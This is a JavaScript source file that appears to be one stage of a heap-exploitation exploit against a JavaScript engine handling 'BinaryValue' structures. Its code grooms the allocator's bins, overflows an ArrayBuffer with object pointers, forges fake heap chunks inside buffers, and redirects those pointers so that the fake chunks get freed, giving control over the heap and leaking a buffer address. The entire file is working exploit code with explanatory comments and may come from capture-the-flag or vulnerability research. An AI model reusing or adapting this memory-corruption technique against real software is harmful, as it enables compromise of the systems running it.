rule-2.js

/**
 * RULE 2
 * In the three contiguous 0x100 chunks, we allocate an AB, a BV array, and an
 * AB again. The last one will be overflowed into, which will allow us to edit
 * BV pointers. We'll forge fake heap chunks containing fake BVs, so that after
 * this script, they get freed, and we get control over the heap.
 * If the first chunk was not there, when malloc_consolidate() gets called,
 * the 3nd chunk's size header would be checked to see if the second chunk is
 * free or not. We cannot allow that as the size of the second block gets
 * overwritten by a BV*. Therefore, the first chunk "hides" the messed up third
 * chunk header.
 */

/**
 * Creates a fake heap chunk with arbitrary size and containing a fake integer
 * BV.
 */
function fake_chunk_bv(v32, offset, chunk_size) {
    var ro = offset / 4;
    v32[ro+2] = chunk_size | 1;
    v32[ro+4] = 0x44440000 | offset; /* VALUE */
    v32[ro+6] = 0x3; /* TYPE */
    v32[ro+8] = 0; /* SIZE */
    return offset + chunk_size;
}


const CONTAINER_SIZE = 0x410 - 8; // We can go bigger
const BV_AB_OFFSET = 0x40;
const FAKE_SMALL_SIZE = 0x40;
const FAKE_BIG_SIZE = 0x100;

// The first 0x100 chunk: it will stay allocated, and protect the third one from
// malloc_consolidate's scrutiny
var ab_protect = new ArrayBuffer(BLOCK_SIZE);
// Third block: it will get overflowed and filled with BV*. We modify them, and
// when BinaryValueFree() gets called, our fake chunks get freed.
var ary_overflow;

var containers = [];
var container_addr;
var target_offsets = [];

// Stores chunks of various sizes to avoid instanciations from tcache/fbs/sbs
bins = {
    0x20: [],
    0x30: [],
    0x40: [],
    0x100: []
}

// Main array, will be allocated in the second contiguous 0x100 bin.
// We fill the first elements of the array with 0x40 chunks, so that when this
// script exits, the tcache will be filled with these instead of our fake blocks 
main = new Array(ARY_SIZE).fill(new Array(3).fill(new Array((FAKE_SMALL_SIZE - 8) / 8)));

// This will be freed before our fake 0x100 blocks and ensure the tcache is not
// empty. This is required because we will overwrite BIG chunk's ->next, hence
// it shouldn't be the last element of the tcache.
main[1] = new Array((FAKE_BIG_SIZE - 8) / 8);
main[0] = {
    // Create a lot of small bins to fill holes in the heap. Next allocs should
    // be contiguous. They need to be for our offsets to be OK.
    get fill_bins() {
        for(var i=0; i < 100; i++) {
            bins[0x20].push(new ArrayBuffer(0x18));
            //bins[0x30].push(new ArrayBuffer(0x28));
            bins[0x40].push(new ArrayBuffer(0x38));
        }
        for(var i=0; i < 7; i++) {
            bins[0x100].push(new ArrayBuffer(0x100));
        }
    },
    // Increase the array size and create an AB underneath. The BV*s will
    // overflow in said AB.
    get overflow() {
        // Our array doubles in size, and will eventually fill ary_overflow
        // completely
        main.length = ARY_SIZE * 2 + 1;
        // This is the third contiguous block.
        ary_overflow = new ArrayBuffer(BLOCK_SIZE);
    },
    get create_fake_struct() {
        // ary_overflow will get filled with BV pointers. When each BV is
        // created, an AB gets allocated underneath. Since we know the address
        // of the BV (using ary_overflow), we know the address of the AB.
        // We can therefore create fake chunks in the AB and make the BV* array
        // point to them, so that they eventually get freed.
        // We do this several times instead of just once because we're not
        // garantied to get a concurrent allocation of BV and AB.
        for(var i = 0; i < ARY_SIZE - 1; i++) {
            main[ARY_SIZE + 1 + i] = {
                get create_containers() {
                    containers.push(new ArrayBuffer(CONTAINER_SIZE));
                }
            };
        }
        main[ARY_SIZE * 2] = {
            // Build every fake chunk, and find a heap layout that matches what
            // we want. Then replace the real BV by our fake one.
            get switch_to_fake() {
                var ary_overflow_v32 = new Uint32Array(ary_overflow);

                // If the two heap chunks (main and ary_overflow) are indeed
                // contiguous, every row in ary_overflow except the last one is
                // filled. If it is not the case, we'll get a crash after this.
                // No point doing the work.
                if(ary_overflow_v32[ary_overflow_v32.length - 4] == 0) {
                    return 'ERR_BLOCKS_NOT_CONTIGUOUS';
                }

                // Every container will get filled with fake heap chunks.
                // X of size FAKE_SMALL_SIZE and one of size FAKE_BIG_SIZE
                for(var i = 0; i < containers.length; i++) {
                    var v32 = new Uint32Array(containers[i]);
                    target_offsets = [];
                    v32[0] = 0xCCCCCC00 | i;

                    var off = 0x30;
                    var BLOCKER = 0x20;
                    off = fake_chunk_bv(v32, off, BLOCKER);

                    while(off < 0x200) {
                        target_offsets.push(off);
                        off = fake_chunk_bv(v32, off, FAKE_SMALL_SIZE); // target
                        off = fake_chunk_bv(v32, off, BLOCKER);
                    }

                    target_offsets.push(off);
                    off = fake_chunk_bv(v32, off, FAKE_BIG_SIZE); // target
                    off = fake_chunk_bv(v32, off, BLOCKER);
                    off = fake_chunk_bv(v32, off, BLOCKER);
                }

                // Upgrade containers to views
                for(var i=0; i < containers.length; i++) {
                    containers[i] = new Uint8Array(containers[i]);
                }

                // We compare the address of each BV to see what is in between
                // them. We look for a layout which is coherent with what we
                // expect:
                //
                // BV hash   0x20
                // hash      0x20
                // AB       0x410
                // RefAB     0x30-0x40
                // BV key    0x20
                // str       0x20
                // BV val    0x20
                // --------------
                // TOTAL    0x4e0-0x4f0
                //
                var ddiffs = [];
                for(var i = 2; i < ARY_SIZE - 1; i += 2) {
                    var a = ary_overflow_v32[i];
                    var b = ary_overflow_v32[i+2];
                    ddiffs.push(i64(a).toString(), b-a);
                    if(b - a == 0x4e0 || b -a == 0x4f0) {
                        break;
                    }
                }

                // We did not find a layout that we wanted, we'll have to exit.
                if(i >= ARY_SIZE - 1)
                    return ['ERR_HEAP_LAYOUT', ddiffs];

                // Deduce the address of the container AB.
                // Those are actually the 32 LSB of the address, but since we're
                // only doing small additions it won't wrap hopefully.
                container_addr = ary_overflow_v32[i] + BV_AB_OFFSET;
                container_addr_hi = ary_overflow_v32[i+1];
                
                // Will never happen
                // assert ary_overflow_v32.length > target_offsets.length * 2;

                // Change legitimate BV addresses to the fake ones we created.
                for(var i=0; i < target_offsets.length; i++) {
                    ary_overflow_v32[2 * i] = container_addr + target_offsets[i] + 0x10;
                }

                // Store the address of the container
                // Converts two 32-bit values to an int64 to have the 64b
                // address of our container
                // TODO there's probably a cleaner way to do it
                var _tmp_buffer = new ArrayBuffer(8);
                var _tmp_v32 = new Uint32Array(_tmp_buffer);
                _tmp_v32[0] = container_addr;
                _tmp_v32[1] = container_addr_hi;
                container_addr = i64(new Uint8Array(_tmp_buffer));

                return [container_addr.toString(), new Array(20).fill(new Array(10))];
           }
        };
    }
};

// GO
main;